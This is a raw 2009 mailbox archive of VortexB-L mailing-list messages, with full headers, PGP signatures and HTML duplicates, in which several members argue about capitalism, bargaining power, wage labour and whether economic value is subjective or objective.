--001636c5b84dc4ac2a046a9fd7d8-- From vortexb-l-request@eskimo.com Sat May 23 20:11:57 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O3BtK7024940; Sat, 23 May 2009 20:11:55 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O3BsV7024930; Sat, 23 May 2009 20:11:54 -0700 Resent-Date: Sat, 23 May 2009 20:11:54 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=rMJw/z6vPFMNRYxruXqXJi3TrPPY/hNLw6oBAlNTEIg=; b=gJ5vJmuMwf2m6xcf0JaqXed7S5gyRsvfELDk+N695Cufaotj9vTO5v0o22Cv2ZgAJh yvnOpv9AlmknNWBR5g1uVaDDKKhVk1Kh+JUc+yp/OZd4IhfvyJ4HpkoUsYr3ZUsFnf6Z Kr1Ro+vjNLhpt+WjNOURf4IPqj8aKuyjsMn9Q= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=qgJKORTa3hUwlvHbw2TKNrx8Pn2o2gWjSkKDhsKzEeOrOD2w6r7FgsHKgUFfC4vzba brhgzHjyn/3HV/zw1w8dmeCYh6A1xhHTt0wXi1+VOTG/Fma8OR5/tGbrLlkhlX3nraVF uDxhpEBDvwLrZCYV/zUuOdfYWMrIviCA2Qv2c= MIME-Version: 1.0 In-Reply-To: <1f82e51fbfd4.1fbfd41f82e5@ncf.ca> References: <1f82e51fbfd4.1fbfd41f82e5@ncf.ca> From: Charles HOPE Date: Sat, 23 May 2009 23:11:32 -0400 Message-ID: <63ffa6020905232011y68f0431dqbb44a8ab632d349f@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b0eeec42a4046a9fda50 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4101 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 343 --001636c5b0eeec42a4046a9fda50 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Why am I responsible for your plight, unless I personally caused it? On Sat, May 23, 2009 at 11:09 PM, Harry Veeder wrote: > > I am considering the consequences of refusing, > and the consequences don't have to be brutal > to be detremental. > Harry > > ----- Original Message ----- > From: Charles HOPE > Date: Saturday, May 23, 2009 10:48 pm > Subject: Re: [VoB]:Re: This is VortexB-L... > > > Does it matter why the person would be worse off for refusing? > > Are you > > recognizing a difference between agency and circumstance; the > > differencebetween me putting a gun to your head and informing you > > that I'll kill you > > if you turn down the deal, versus the deal simply being the best > > of all your > > options? > > > > > > > > On Sat, May 23, 2009 at 10:23 PM, Harry Veeder > wrote: > > > > > I would say, all things being equal, it boils down to the right to > > > refuse the transaction and NOT BE WORSE OFF for having refused. > > > > > > Harry > > > > > > ----- Original Message ----- > > > From: Charles HOPE > > > Date: Saturday, May 23, 2009 1:43 am > > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > > > What does bargaining power mean in this case? > > > > > > > > On Sat, May 23, 2009 at 1:33 AM, Harry Veeder > > wrote:> > > > > > > > > > > > > > > > > ----- Original Message ----- > > > > > From: Charles HOPE > > > > > Date: Friday, May 22, 2009 2:18 pm > > > > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > > > > > > > I perceive the gap to be that grok recognizes value as > > objective,> > > > while Jeff > > > > > > Fink recognizes value to be subjective. In the former case, > > > > economic> > transactions are inherently zero-sum and exploitive, > > > > whereas in > > > > > > the latter > > > > > > case they are positive sum and mutually beneficial. > > > > > > > > > > Both parties to a transaction must enjoy equal bargaining power > > > > for it > > > > > to be mutually beneficial, but in general such situations > > are more > > > > > theoretical than real. > > > > > Harry > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b0eeec42a4046a9fda50 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Why am I responsible for your plight, unless I personally caused it?


On Sat, May 23, 2009 at 11:09 PM, Harry= Veeder <hveeder@ncf= .ca> wrote:

I am considering the consequences of refusing,
and the consequences don't have to be brutal
to be detremental.
Harry

----- Original Message -----
From: Charles HOPE <look= slikeiwasright@gmail.com>
Date: Saturday, May 23, 2009 10:48 pm
Subject: Re: [VoB]:Re: This is VortexB-L...

> Does it matter why the person would be worse o= ff for refusing?
> Are you
> recognizing a difference between agency and circumstance; the
> differencebetween me putting a gun to your hea= d and informing you
> that I'll kill you
> if you turn down the deal, versus the deal simply being the best
> of all your
> options?
>
>
>
> On Sat, May 23, 2009 at 10:23 PM, Harry Veeder <hveeder@ncf.ca>
wrote:
>
> > I would say, all things being equal, it boils down to the right t= o
> > refuse the transaction and NOT BE WORSE OFF for having refused. > >
> > Harry
> >
> > ----- Original Message -----
> > From: Charles HOPE <lookslikeiwasright@gmail.com>
> > Date: Saturday, May 23, 2009 1:43 am
> > Subject: Re: [VoB]:Re: This is VortexB-L...
> >
> > > What does bargaining power mean in t= his case?
> > >
> > > On Sat, May 23, 2009 at 1:33 AM, Harry Veeder <hveeder@ncf.ca>
> wrote:> >
> > > >
> > > >
> > > > ----- Original Message -----
> > > > From: Charles HOPE <lookslikeiwasright@gmail.com>
> > > > Date: Friday, May 22, 2009 2:18 pm
> > > > Subject: Re: [VoB]:Re: This is VortexB-L...
> > > >
> > > > > I perceive the gap to be that grok recognizes valu= e as
> objective,> > > > while Jeff
> > > > > Fink recognizes value to be subjective. =A0In the = former case,
> > > economic> > transactions are inherently zero-sum and e= xploitive,
> > > whereas in
> > > > > the latter
> > > > > case they are positive sum and mutually beneficial= .
> > > >
> > > > Both parties to a transaction must enjoy equal bargaini= ng power
> > > for it
> > > > to be mutually beneficial, but in general such situatio= ns
> are more
> > > > theoretical than real.
> > > > Harry




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b0eeec42a4046a9fda50-- From vortexb-l-request@eskimo.com Sat May 23 20:15:14 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O3FB1p030476; Sat, 23 May 2009 20:15:11 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O3FAQs030464; Sat, 23 May 2009 20:15:10 -0700 Resent-Date: Sat, 23 May 2009 20:15:10 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=gl2LBKVn3FRnIq1bCWNp6LVjuSARZJXQ/dRGErW0CwI=; b=vDyw6Y/tJLlCiBmarikgbFuy5nDb94o7t0STpu2YFJREARsToUD+puAFcajKdBdrfe yCpLW1giDaRVEdvpk/dFOvv9O82HfKmgI/8DcJ2sG//6oopGmNQRMOG7zn9wgGBsk1Fq gb/rFH1G5c1kA9F+5/ABJaC5NvNSLDlLdFd2w= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=P93qTwmSF+deT6IjnpClVTD2agNmEXJWGSiWiPtqm0rctt0C7avw95ZphyHrwChGF1 ImMZkyY9H8+Pe9xsSOoN2tPXxCraGn4FLGvXDJ4QztcIfdjORkpy/lbO5dd7HX2zZ/x4 bNwEjEosAHxKuHlj21+4o3ncImzqQf3QGV/ps= MIME-Version: 1.0 In-Reply-To: <20090524030959.GE4017@shell.resist.ca> References: <1fc2841f5995.1f59951fc284@ncf.ca> <20090524025601.GA4017@shell.resist.ca> <63ffa6020905232000l64d003f9uf9cebd99e89199b8@mail.gmail.com> <20090524030959.GE4017@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 23:14:49 -0400 Message-ID: <63ffa6020905232014l4b61b7d8j23e9049909909b7a@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=00504502e501aa916a046a9fe642 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4102 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 344 --00504502e501aa916a046a9fe642 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Do all workers get slave wages? Why does anybody earn a penny more than th= e legal minimum wage? On Sat, May 23, 2009 at 11:09 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > What do you mean, grok? > > I mean that, generally: if you don't work for what they offer you -- you > can damned > well bugger off and starve. And even then you might be screwed anyway. > > And of course, the whole point of the capitalists' ongoing destruction of > the > Post-war welfare state is their venal intention to take us all right back > to that > lovely situation. Dontcha just LOVE the Hope and Change of Obamarama..?? > > > - -- grok. > > > > > > > > I would say, all things being equal, it boils down to the right to > > > > refuse the transaction and NOT BE WORSE OFF for having refused. > > > > > > > > Harry > > > > > > Which is generally NOT the case for workers, n'est-ce pas? > > > > > > - -- grok. > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYuocACgkQXo3EtEYbt3Ez0ACgzoUf3HZd+XJs2Y3wtEUyokun > MXwAnjNIcqAgo8FB8Qg5LjR3AZs9wYe4 > =3DPBjx > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --00504502e501aa916a046a9fe642 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Do all workers get slave wages?=A0 Why does anybody earn a penny more than = the legal minimum wage?



On Sat, M= ay 23, 2009 at 11:09 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> What do you mean, grok?

I mean that, generally: if you don't work for what they offer you= -- you can damned
well bugger off and starve. And even then you might be screwed anyway.

And of course, the whole point of the capitalists' ongoing destruction = of the
Post-war welfare state is their venal intention to take us all right back t= o that
lovely situation. Dontcha just LOVE the Hope and Change of Obamarama..??

- -- grok.




> > > I would say, all things being equal, it boils down to the ri= ght to
> > > refuse the transaction and NOT BE WORSE OFF for having refus= ed.
> > >
> > > Harry
> >
> > Which is generally NOT the case for workers, n'est-ce pas? > >
> > - -- grok.




- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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Version: GnuPG v1.4.9 (GNU/Linux)

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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--00504502e501aa916a046a9fe642-- From vortexb-l-request@eskimo.com Sat May 23 20:16:39 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O3GaCK027357; Sat, 23 May 2009 20:16:36 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O3GZRg027347; Sat, 23 May 2009 20:16:35 -0700 Resent-Date: Sat, 23 May 2009 20:16:35 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=Dhp7Um8utsG/Ajb8qxwiyThkJjHJpVVjvKZBdD7rYk0=; b=xFDLCAiaBFhrrliCwj3Fmn6SYZgGUKzXgwyFxezS5D3hpkE8ByT84Vgrd3DIgc2Dxg WzSTBCUYfWa3vac0MFBORQYoyqlpbRRwh84u5detbTVfpZrYGhsebGJgPKmvVjOWBYlF WFm398y2+xeTZMIZnAMCBlgWNcL7QzBeOyb/o= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=EzsrP2opvt+Jl8KeTjlEtHMqkTPBvS08Alew5s+r0XGr8hSa+L+RuGPedeSxgxUWLR mLZM8u53cGcxgnhFuTThn+2haaQMMvKxGcNQB3Wg2o7beq0sqBwQUsz9tJOvdjgEdq0+ LDOc/Bm0cWPQ8exCfJ8kt370NXschDhLV9DTU= MIME-Version: 1.0 In-Reply-To: <20090524025800.GB4017@shell.resist.ca> References: <20090522144827.GG18912@shell.resist.ca> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 23:16:13 -0400 Message-ID: <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a723b7b1de046a9feb0e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4103 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 345 --001636c5a723b7b1de046a9feb0e Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable If that's the best you can do, when confronted by somebody who's not resorting to ad hominem attacks but is willing to discuss the issues in a rational manner, I suppose I win. On Sat, May 23, 2009 at 10:58 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Utility is what Marx blessed as "use value". > > > > Now, prove me wrong. > > Why, that's EXACTLY right, Charles. Head of the class for YOU. > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYt7gACgkQXo3EtEYbt3FfnwCgxVtlX+NNZud+jv64mmzZSiCK > KJEAoPHTZFr5tEl/QUfEYVsoyj9X/Pww > =3De/TR > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a723b7b1de046a9feb0e Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable If that's the best you can do, when confronted by somebody who's no= t resorting to ad hominem attacks but is willing to discuss the issues in a= rational manner, I suppose I win.



On Sat, May 23, 2009 at 10:58 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Utility is what Marx blessed as "use valu= e".
>
> Now, prove me wrong.

Why, that's EXACTLY right, Charles. Head of the class for YOU.

- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoYt7gACgkQXo3EtEYbt3FfnwCgxVtlX+NNZud+jv64mmzZSiCK
KJEAoPHTZFr5tEl/QUfEYVsoyj9X/Pww
=3De/TR
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a723b7b1de046a9feb0e-- From vortexb-l-request@eskimo.com Sat May 23 20:27:34 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O3RWlt030142; Sat, 23 May 2009 20:27:32 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O3RVtm030129; Sat, 23 May 2009 20:27:31 -0700 Resent-Date: Sat, 23 May 2009 20:27:31 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:27:22 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524032722.GF4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fc2841f5995.1f59951fc284@ncf.ca> <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> <20090524030427.GD4017@shell.resist.ca> <63ffa6020905232010x15060f04w2ddcde15c26e4a33@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905232010x15060f04w2ddcde15c26e4a33@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4104 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 346 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Capitalism is like what? Putting a gun to your head to have you sign on the dotted line. Mafia-style. Chuck. Why am I having to spell this out (he asks rhetorically)..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYvpoACgkQXo3EtEYbt3GZagCg3w1+A4Wx3RXk2kRon+toALxH pwkAoLMVcA0Yd/QUmKXA8lcAvSOPiPGn =ebZJ -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:29:15 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O3TCYW030465; Sat, 23 May 2009 20:29:12 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O3TC97030453; Sat, 23 May 2009 20:29:12 -0700 Resent-Date: Sat, 23 May 2009 20:29:12 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:29:01 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524032901.GG4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1f82e51fbfd4.1fbfd41f82e5@ncf.ca> <63ffa6020905232011y68f0431dqbb44a8ab632d349f@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905232011y68f0431dqbb44a8ab632d349f@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4105 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 347 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Why am I responsible for your plight, unless I personally caused it? Why are you asking misleading hypothetical questions when we're talking real facts here, Chas..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYvv0ACgkQXo3EtEYbt3FjGQCg1MCbB4h8pLpPk78/AoUXaYXB aF8An3TtVMDZosy32wQEk+qi3wzqAWXS =iIUI -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:30:46 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O3Uh8S030873; Sat, 23 May 2009 20:30:43 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O3UhGS030864; Sat, 23 May 2009 20:30:43 -0700 Resent-Date: Sat, 23 May 2009 20:30:43 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=UlCZbMAdybYTkwtcr3yPV0IwHZ9FTmlPZutJT3H4TTg=; b=OjB3Zo/rHV9G090CeKkNdT3iXMBdwG/zcdTCxg1qbfHX4I0uB0CKujXRR//iqz8AmT EGXPm7xGBHjimeEYs5Oa5HriaRmO2LlYz97iAby5p7/CpleFIXGd71w0lPceQ73YFAcB WjyvFhRYNw+ejjCqm5NGXEXxlflS3Di6lIZhw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=ZbUiQXoL0v3ABUPA9dIRAYG/skA/CcOKnae1e91SE1M0/ccnBa1zRhwAcI5NHEzhZ4 cUJmIe5gFGq1Uu63iOWJo5W87aTTTUSJYzh6zOfkdZq4p694PNYiIPHlr1vZAiDO/SAj hdwjIf/x4eHfZL0PI7sR2SvbfYo45bjVLiXVE= MIME-Version: 1.0 In-Reply-To: <20090524032722.GF4017@shell.resist.ca> References: <1fc2841f5995.1f59951fc284@ncf.ca> <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> <20090524030427.GD4017@shell.resist.ca> <63ffa6020905232010x15060f04w2ddcde15c26e4a33@mail.gmail.com> <20090524032722.GF4017@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 23:30:20 -0400 Message-ID: <63ffa6020905232030o6482c232qafb755f50363c162@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b0ee2b1b68046aa01eb4 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4106 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 348 --001636c5b0ee2b1b68046aa01eb4 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Because where are the guns? People are arrested for unemployment? You're making no sense! On Sat, May 23, 2009 at 11:27 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Capitalism is like what? > > Putting a gun to your head to have you sign on the dotted line. > Mafia-style. Chuck. > > Why am I having to spell this out (he asks rhetorically)..? > > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYvpoACgkQXo3EtEYbt3GZagCg3w1+A4Wx3RXk2kRon+toALxH > pwkAoLMVcA0Yd/QUmKXA8lcAvSOPiPGn > =3DebZJ > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b0ee2b1b68046aa01eb4 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Because where are the guns? People are arrested for unemployment? You'r= e making no sense!




On Sat, Ma= y 23, 2009 at 11:27 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Capitalism is like what?

Putting a gun to your head to have you sign on the dotted line. Mafia-style= . Chuck.

Why am I having to spell this out (he asks rhetorically)..?


- -- grok.






- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoYvpoACgkQXo3EtEYbt3GZagCg3w1+A4Wx3RXk2kRon+toALxH
pwkAoLMVcA0Yd/QUmKXA8lcAvSOPiPGn
=3DebZJ
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b0ee2b1b68046aa01eb4-- From vortexb-l-request@eskimo.com Sat May 23 20:31:57 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O3VqEh032759; Sat, 23 May 2009 20:31:52 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O3Vpxg032750; Sat, 23 May 2009 20:31:51 -0700 Resent-Date: Sat, 23 May 2009 20:31:51 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <1fbeca1f53f8.1f53f81fbeca@ncf.ca> Date: Sat, 23 May 2009 23:31:49 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <5jps7D.A.n_H.n-LGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4107 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 349 The innocent bystander argument=3F Harry ----- Original Message ----- From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E Date=3A Saturday=2C May 23=2C 2009 11=3A11 pm Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E Why am I responsible for your plight=2C unless I personally caused it= =3F =3E = =3E = =3E = =3E On Sat=2C May 